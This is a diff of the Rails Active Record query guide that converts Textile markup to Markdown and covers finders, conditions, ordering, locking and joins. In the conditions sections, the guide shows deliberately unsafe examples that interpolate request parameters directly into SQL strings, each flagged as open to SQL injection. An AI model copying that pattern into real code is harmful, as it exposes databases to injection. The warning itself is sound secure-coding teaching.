# => #<Client id: 221, first_name: "Russel">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
+```
-<tt>Model.last</tt> returns +nil+ if no matching record is found and no exception will be raised.
+`Model.last` returns `nil` if no matching record is found and no exception will be raised.
-h5. +find_by+
+#### `find_by`
-<tt>Model.find_by</tt> finds the first record matching some conditions. For example:
+`Model.find_by` finds the first record matching some conditions. For example:
-<ruby>
+```ruby
Client.find_by first_name: 'Lifo'
# => #<Client id: 1, first_name: "Lifo">
Client.find_by first_name: 'Jon'
# => nil
-</ruby>
+```
It is equivalent to writing:
-<ruby>
+```ruby
Client.where(first_name: 'Lifo').take
-</ruby>
+```
-h5(#take_1). +take!+
+#### `take!`
-<tt>Model.take!</tt> retrieves a record without any implicit ordering. For example:
+`Model.take!` retrieves a record without any implicit ordering. For example:
-<ruby>
+```ruby
client = Client.take!
# => #<Client id: 1, first_name: "Lifo">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients LIMIT 1
-</sql>
+```
-<tt>Model.take!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
+`Model.take!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
-h5(#first_1). +first!+
+#### `first!`
-<tt>Model.first!</tt> finds the first record ordered by the primary key. For example:
+`Model.first!` finds the first record ordered by the primary key. For example:
-<ruby>
+```ruby
client = Client.first!
# => #<Client id: 1, first_name: "Lifo">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
-</sql>
+```
-<tt>Model.first!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
+`Model.first!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
-h5(#last_1). +last!+
+#### `last!`
-<tt>Model.last!</tt> finds the last record ordered by the primary key. For example:
+`Model.last!` finds the last record ordered by the primary key. For example:
-<ruby>
+```ruby
client = Client.last!
# => #<Client id: 221, first_name: "Russel">
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
-</sql>
+```
-<tt>Model.last!</tt> raises +ActiveRecord::RecordNotFound+ if no matching record is found.
+`Model.last!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
-h5(#find_by_1). +find_by!+
+#### `find_by!`
-<tt>Model.find_by!</tt> finds the first record matching some conditions. It raises +ActiveRecord::RecordNotFound+ if no matching record is found. For example:
+`Model.find_by!` finds the first record matching some conditions. It raises `ActiveRecord::RecordNotFound` if no matching record is found. For example:
-<ruby>
+```ruby
Client.find_by! first_name: 'Lifo'
# => #<Client id: 1, first_name: "Lifo">
Client.find_by! first_name: 'Jon'
# => ActiveRecord::RecordNotFound
-</ruby>
+```
It is equivalent to writing:
-<ruby>
+```ruby
Client.where(first_name: 'Lifo').take!
-</ruby>
+```
-h4. Retrieving Multiple Objects
+### Retrieving Multiple Objects
-h5. Using Multiple Primary Keys
+#### Using Multiple Primary Keys
-<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
+`Model.find(array_of_primary_key)` accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
-<ruby>
+```ruby
# Find the clients with primary keys 1 and 10.
client = Client.find([1, 10]) # Or even Client.find(1, 10)
# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.id IN (1,10))
-</sql>
+```
-WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
+WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
-h5. take
+#### take
-<tt>Model.take(limit)</tt> retrieves the first number of records specified by +limit+ without any explicit ordering:
+`Model.take(limit)` retrieves the first number of records specified by `limit` without any explicit ordering:
-<ruby>
+```ruby
Client.take(2)
# => [#<Client id: 1, first_name: "Lifo">,
#<Client id: 2, first_name: "Raf">]
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients LIMIT 2
-</sql>
+```
-h5. first
+#### first
-<tt>Model.first(limit)</tt> finds the first number of records specified by +limit+ ordered by primary key:
+`Model.first(limit)` finds the first number of records specified by `limit` ordered by primary key:
-<ruby>
+```ruby
Client.first(2)
# => [#<Client id: 1, first_name: "Lifo">,
#<Client id: 2, first_name: "Raf">]
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients LIMIT 2
-</sql>
+```
-h5. last
+#### last
-<tt>Model.last(limit)</tt> finds the number of records specified by +limit+ ordered by primary key in descending order:
+`Model.last(limit)` finds the number of records specified by `limit` ordered by primary key in descending order:
-<ruby>
+```ruby
Client.last(2)
# => [#<Client id: 10, first_name: "Ryan">,
#<Client id: 9, first_name: "John">]
-</ruby>
+```
The SQL equivalent of the above is:
-<sql>
+```sql
SELECT * FROM clients ORDER By id DESC LIMIT 2
-</sql>
+```
-h4. Retrieving Multiple Objects in Batches
+### Retrieving Multiple Objects in Batches
We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
This may appear straightforward:
-<ruby>
+```ruby
# This is very inefficient when the users table has thousands of rows.
User.all.each do |user|
NewsLetter.weekly_deliver(user)
end
-</ruby>
+```
-But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
+But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
-Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
+Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
-TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
+TIP: The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
-h5. +find_each+
+#### `find_each`
-The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
+The `find_each` method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, `find_each` will retrieve 1000 records (the current default for both `find_each` and `find_in_batches`) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
-<ruby>
+```ruby
User.find_each do |user|
NewsLetter.weekly_deliver(user)
end
-</ruby>
+```
-h6. Options for +find_each+
+##### Options for `find_each`
-The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+.
+The `find_each` method accepts most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_each`.
-Two additional options, +:batch_size+ and +:start+, are available as well.
+Two additional options, `:batch_size` and `:start`, are available as well.
-*+:batch_size+*
+**`:batch_size`**
-The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
+The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
-<ruby>
+```ruby
User.find_each(:batch_size => 5000) do |user|
NewsLetter.weekly_deliver(user)
end
-</ruby>
+```
-*+:start+*
+**`:start`**
-By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
+By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
-<ruby>
+```ruby
User.find_each(:start => 2000, :batch_size => 5000) do |user|
NewsLetter.weekly_deliver(user)
end
-</ruby>
+```
-Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker.
+Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate `:start` option on each worker.
-NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
+NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models.
-h5. +find_in_batches+
+#### `find_in_batches`
-The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
+The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
-<ruby>
+```ruby
# Give add_invoices an array of 1000 invoices at a time
Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
export.add_invoices(invoices)
end
-</ruby>
+```
-NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models.
+NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models.
-h6. Options for +find_in_batches+
+##### Options for `find_in_batches`
-The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+.
+The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`.
-h3. Conditions
+Conditions
+----------
-The +where+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
-h4. Pure String Conditions
+### Pure String Conditions
-If you'd like to add conditions to your find, you could just specify them in there, just like +Client.where("orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
+If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2.
-WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.where("first_name LIKE '%#{params[:first_name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array.
-h4. Array Conditions
+### Array Conditions
Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
-<ruby>
+```ruby
Client.where("orders_count = ?", params[:orders])
-</ruby>
+```
-Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
+Active Record will go through the first element in the conditions value and any additional elements will replace the question marks `(?)` in the first element.
If you want to specify multiple conditions:
-<ruby>
+```ruby
Client.where("orders_count = ? AND locked = ?", params[:orders], false)
-</ruby>
+```
-In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
+In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter.
This code is highly preferable:
-<ruby>
+```ruby
Client.where("orders_count = ?", params[:orders])
-</ruby>
+```
to this code:
-<ruby>
+```ruby
Client.where("orders_count = #{params[:orders]}")
-</ruby>
+```
-because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
-TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
+TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
-h5. Placeholder Conditions
+#### Placeholder Conditions
-Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
+Similar to the `(?)` replacement style of params, you can also specify keys/values hash in your array conditions:
-<ruby>
+```ruby
Client.where("created_at >= :start_date AND created_at <= :end_date",
{:start_date => params[:start_date], :end_date => params[:end_date]})
-</ruby>
+```
This makes for clearer readability if you have a large number of variable conditions.
-h4. Hash Conditions
+### Hash Conditions
Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
NOTE: Only equality, range and subset checking are possible with Hash conditions.
-h5. Equality Conditions
+#### Equality Conditions
-<ruby>
+```ruby
Client.where(:locked => true)
-</ruby>
+```
The field name can also be a string:
-<ruby>
+```ruby
Client.where('locked' => true)
-</ruby>
+```
+
+In the case of a belongs_to relationship, an association key can be used to specify the model if an ActiveRecord object is used as the value. This method works with polymorphic relationships as well.
+
+```ruby
+Post.where(:author => author)
+Author.joins(:posts).where(:posts => {:author => author})
+```
-NOTE: The values cannot be symbols. For example, you cannot do +Client.where(:status => :active)+.
+NOTE: The values cannot be symbols. For example, you cannot do `Client.where(:status => :active)`.
-h5(#hash-range_conditions). Range Conditions
+#### Range Conditions
-<ruby>
+```ruby
Client.where(:created_at => (Time.now.midnight - 1.day)..Time.now.midnight)
-</ruby>
+```
-This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
+This will find all clients created yesterday by using a `BETWEEN` SQL statement:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
-</sql>
+```
-This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
+This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions)
-h5. Subset Conditions
+#### Subset Conditions
-If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
+If you want to find records using the `IN` expression you can pass an array to the conditions hash:
-<ruby>
+```ruby
Client.where(:orders_count => [1,3,5])
-</ruby>
+```
This code will generate SQL like this:
-<sql>
+```sql
SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
-</sql>
+```
-h3(#ordering). Ordering
+Ordering
+--------
-To retrieve records from the database in a specific order, you can use the +order+ method.
+To retrieve records from the database in a specific order, you can use the `order` method.
-For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
+For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:
-<ruby>
+```ruby
Client.order("created_at")
-</ruby>
+```
-You could specify +ASC+ or +DESC+ as well:
+You could specify `ASC` or `DESC` as well:
-<ruby>
+```ruby
Client.order("created_at DESC")
# OR
Client.order("created_at ASC")
-</ruby>
+```
Or ordering by multiple fields:
-<ruby>
+```ruby
Client.order("orders_count ASC, created_at DESC")
# OR
Client.order("orders_count ASC", "created_at DESC")
-</ruby>
+```
-If you want to call +order+ multiple times e.g. in different context, new order will prepend previous one
+If you want to call `order` multiple times e.g. in different context, new order will prepend previous one
-<ruby>
+```ruby
Client.order("orders_count ASC").order("created_at DESC")
# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC
-</ruby>
+```
-h3. Selecting Specific Fields
+Selecting Specific Fields
+-------------------------
-By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+.
+By default, `Model.find` selects all the fields from the result set using `select *`.
-To select only a subset of fields from the result set, you can specify the subset via the +select+ method.
+To select only a subset of fields from the result set, you can specify the subset via the `select` method.
-NOTE: If the +select+ method is used, all the returning objects will be "read only":#readonly-objects.
+NOTE: If the `select` method is used, all the returning objects will be [read only](#readonly-objects).
-<br />
+For example, to select only `viewable_by` and `locked` columns:
-For example, to select only +viewable_by+ and +locked+ columns:
-
-<ruby>
+```ruby
Client.select("viewable_by, locked")
-</ruby>
+```
The SQL query used by this find call will be somewhat like:
-<sql>
+```sql
SELECT viewable_by, locked FROM clients
-</sql>
+```
Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
-<shell>
+```bash
ActiveModel::MissingAttributeError: missing attribute: <attribute>
-</shell>
+```
-Where +&lt;attribute&gt;+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
+Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
-If you would like to only grab a single record per unique value in a certain field, you can use +uniq+:
+If you would like to only grab a single record per unique value in a certain field, you can use `uniq`:
-<ruby>
+```ruby
Client.select(:name).uniq
-</ruby>
+```
This would generate SQL like:
-<sql>
+```sql
SELECT DISTINCT name FROM clients
-</sql>
+```
You can also remove the uniqueness constraint:
-<ruby>
+```ruby
query = Client.select(:name).uniq
# => Returns unique names
query.uniq(false)
# => Returns all names, even if there are duplicates
-</ruby>
+```
-h3. Limit and Offset
+Limit and Offset
+----------------
-To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +limit+ and +offset+ methods on the relation.
+To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation.
-You can use +limit+ to specify the number of records to be retrieved, and use +offset+ to specify the number of records to skip before starting to return the records. For example
+You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example
-<ruby>
+```ruby
Client.limit(5)
-</ruby>
+```
will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
-<sql>
+```sql
SELECT * FROM clients LIMIT 5
-</sql>
+```
-Adding +offset+ to that
+Adding `offset` to that
-<ruby>
+```ruby
Client.limit(5).offset(30)
-</ruby>
+```
will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
-<sql>
+```sql
SELECT * FROM clients LIMIT 5 OFFSET 30
-</sql>
+```
-h3. Group
+Group
+-----
-To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the +group+ method on the find.
+To apply a `GROUP BY` clause to the SQL fired by the finder, you can specify the `group` method on the find.
For example, if you want to find a collection of the dates orders were created on:
-<ruby>
+```ruby
Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
-</ruby>
+```
-And this will give you a single +Order+ object for each date where there are orders in the database.
+And this will give you a single `Order` object for each date where there are orders in the database.
The SQL that would be executed would be something like this:
-<sql>
+```sql
SELECT date(created_at) as ordered_date, sum(price) as total_price
FROM orders
GROUP BY date(created_at)
-</sql>
+```
-h3. Having
+Having
+------
-SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can add the +HAVING+ clause to the SQL fired by the +Model.find+ by adding the +:having+ option to the find.
+SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `:having` option to the find.
For example:
-<ruby>
-Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100)
-</ruby>
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").
+ group("date(created_at)").having("sum(price) > ?", 100)
+```
The SQL that would be executed would be something like this:
-<sql>
+```sql
SELECT date(created_at) as ordered_date, sum(price) as total_price
FROM orders
GROUP BY date(created_at)
HAVING sum(price) > 100
-</sql>
+```
This will return single order objects for each day, but only those that are ordered more than $100 in a day.
-h3. Overriding Conditions
+Overriding Conditions
+---------------------
-h4. +except+
+### `except`
-You can specify certain conditions to be excepted by using the +except+ method. For example:
+You can specify certain conditions to be excepted by using the `except` method. For example:
-<ruby>
+```ruby
Post.where('id > 10').limit(20).order('id asc').except(:order)
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM posts WHERE id > 10 LIMIT 20
-</sql>
+```
-h4. +only+
+### `only`
-You can also override conditions using the +only+ method. For example:
+You can also override conditions using the `only` method. For example:
-<ruby>
+```ruby
Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
-</sql>
+```
-h4. +reorder+
+### `reorder`
-The +reorder+ method overrides the default scope order. For example:
+The `reorder` method overrides the default scope order. For example:
-<ruby>
+```ruby
class Post < ActiveRecord::Base
..
..
@@ -691,57 +707,58 @@ class Post < ActiveRecord::Base
end
Post.find(10).comments.reorder('name')
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM posts WHERE id = 10 ORDER BY name
-</sql>
+```
-In case the +reorder+ clause is not used, the SQL executed would be:
+In case the `reorder` clause is not used, the SQL executed would be:
-<sql>
+```sql
SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
-</sql>
+```
-h4. +reverse_order+
+### `reverse_order`
-The +reverse_order+ method reverses the ordering clause if specified.
+The `reverse_order` method reverses the ordering clause if specified.
-<ruby>
+```ruby
Client.where("orders_count > 10").order(:name).reverse_order
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
-</sql>
+```
-If no ordering clause is specified in the query, the +reverse_order+ orders by the primary key in reverse order.
+If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order.
-<ruby>
+```ruby
Client.where("orders_count > 10").reverse_order
-</ruby>
+```
The SQL that would be executed:
-<sql>
+```sql
SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
-</sql>
+```
-This method accepts *no* arguments.
+This method accepts **no** arguments.
-h3. Null Relation
+Null Relation
+-------------
-The +none+ method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
+The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
-<ruby>
+```ruby
Post.none # returns an empty Relation and fires no queries.
-</ruby>
+```
-<ruby>
+```ruby
# The visible_posts method below is expected to return a Relation.
@posts = current_user.visible_posts.where(:name => params[:name])
@@ -755,21 +772,23 @@ def visible_posts
Post.none # => returning [] or nil breaks the caller code in this case
end
end
-</ruby>
+```
-h3. Readonly Objects
+Readonly Objects
+----------------
-Active Record provides +readonly+ method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception.
+Active Record provides `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.
-<ruby>
+```ruby
client = Client.readonly.first
client.visits += 1
client.save
-</ruby>
+```
-As +client+ is explicitly set to be a readonly object, the above code will raise an +ActiveRecord::ReadOnlyRecord+ exception when calling +client.save+ with an updated value of _visits_.
+As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_.
-h3. Locking Records for Update
+Locking Records for Update
+--------------------------
Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
@@ -778,15 +797,15 @@ Active Record provides two locking mechanisms:
* Optimistic Locking
* Pessimistic Locking
-h4. Optimistic Locking
+### Optimistic Locking
-Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored.
-<strong>Optimistic locking column</strong>
+**Optimistic locking column**
-In order to use optimistic locking, the table needs to have a column called +lock_version+ of type integer. Each time the record is updated, Active Record increments the +lock_version+ column. If an update request is made with a lower value in the +lock_version+ field than is currently in the +lock_version+ column in the database, the update request will fail with an +ActiveRecord::StaleObjectError+. Example:
+In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example:
-<ruby>
+```ruby
c1 = Client.find(1)
c2 = Client.find(1)
@@ -795,90 +814,91 @@ c1.save
c2.name = "should fail"
c2.save # Raises an ActiveRecord::StaleObjectError
-</ruby>
+```
You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
-This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
+This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`.
-To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class attribute called +locking_column+:
+To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`:
-<ruby>
+```ruby
class Client < ActiveRecord::Base
self.locking_column = :lock_client_column
end
-</ruby>
+```
-h4. Pessimistic Locking
+### Pessimistic Locking
-Pessimistic locking uses a locking mechanism provided by the underlying database. Using +lock+ when building a relation obtains an exclusive lock on the selected rows. Relations using +lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
+Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.
For example:
-<ruby>
+```ruby
Item.transaction do
i = Item.lock.first
i.name = 'Jones'
i.save
end
-</ruby>
+```
The above session produces the following SQL for a MySQL backend:
-<sql>
+```sql
SQL (0.2ms) BEGIN
Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE
Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
SQL (0.8ms) COMMIT
-</sql>
+```
-You can also pass raw SQL to the +lock+ method for allowing different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
-<ruby>
+```ruby
Item.transaction do
i = Item.lock("LOCK IN SHARE MODE").find(1)
i.increment!(:views)
end
-</ruby>
+```
If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:
-<ruby>
+```ruby
item = Item.first
item.with_lock do
# This block is called within a transaction,
# item is already locked.
item.increment!(:views)
end
-</ruby>
+```
-h3. Joining Tables
+Joining Tables
+--------------
-Active Record provides a finder method called +joins+ for specifying +JOIN+ clauses on the resulting SQL. There are multiple ways to use the +joins+ method.
+Active Record provides a finder method called `joins` for specifying `JOIN` clauses on the resulting SQL. There are multiple ways to use the `joins` method.
-h4. Using a String SQL Fragment
+### Using a String SQL Fragment
-You can just supply the raw SQL specifying the +JOIN+ clause to +joins+:
+You can just supply the raw SQL specifying the `JOIN` clause to `joins`:
-<ruby>
+```ruby
Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
-</ruby>
+```
This will result in the following SQL:
-<sql>
+```sql
SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
-</sql>
+```
-h4. Using Array/Hash of Named Associations
+### Using Array/Hash of Named Associations
-WARNING: This method only works with +INNER JOIN+.
+WARNING: This method only works with `INNER JOIN`.
-Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying +JOIN+ clause for those associations when using the +joins+ method.
+Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
-For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
+For example, consider the following `Category`, `Post`, `Comments` and `Guest` models:
-<ruby>
+```ruby
class Category < ActiveRecord::Base
has_many :posts
end
@@ -901,345 +921,373 @@ end
class Tag < ActiveRecord::Base
belongs_to :post
end
-</ruby>
+```
-Now all of the following will produce the expected join queries using +INNER JOIN+:
+Now all of the following will produce the expected join queries using `INNER JOIN`:
-h5. Joining a Single Association
+#### Joining a Single Association
-<ruby>
+```ruby
Category.joins(:posts)
-</ruby>
+```
This produces:
-<sql>
+```sql
SELECT categories.* FROM categories
INNER JOIN posts ON posts.category_id = categories.id
-</sql>
+```
-Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:posts).select("distinct(categories.id)").
+Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).select("distinct(categories.id)")`.
-h5. Joining Multiple Associations
+#### Joining Multiple Associations
-<ruby>
+```ruby
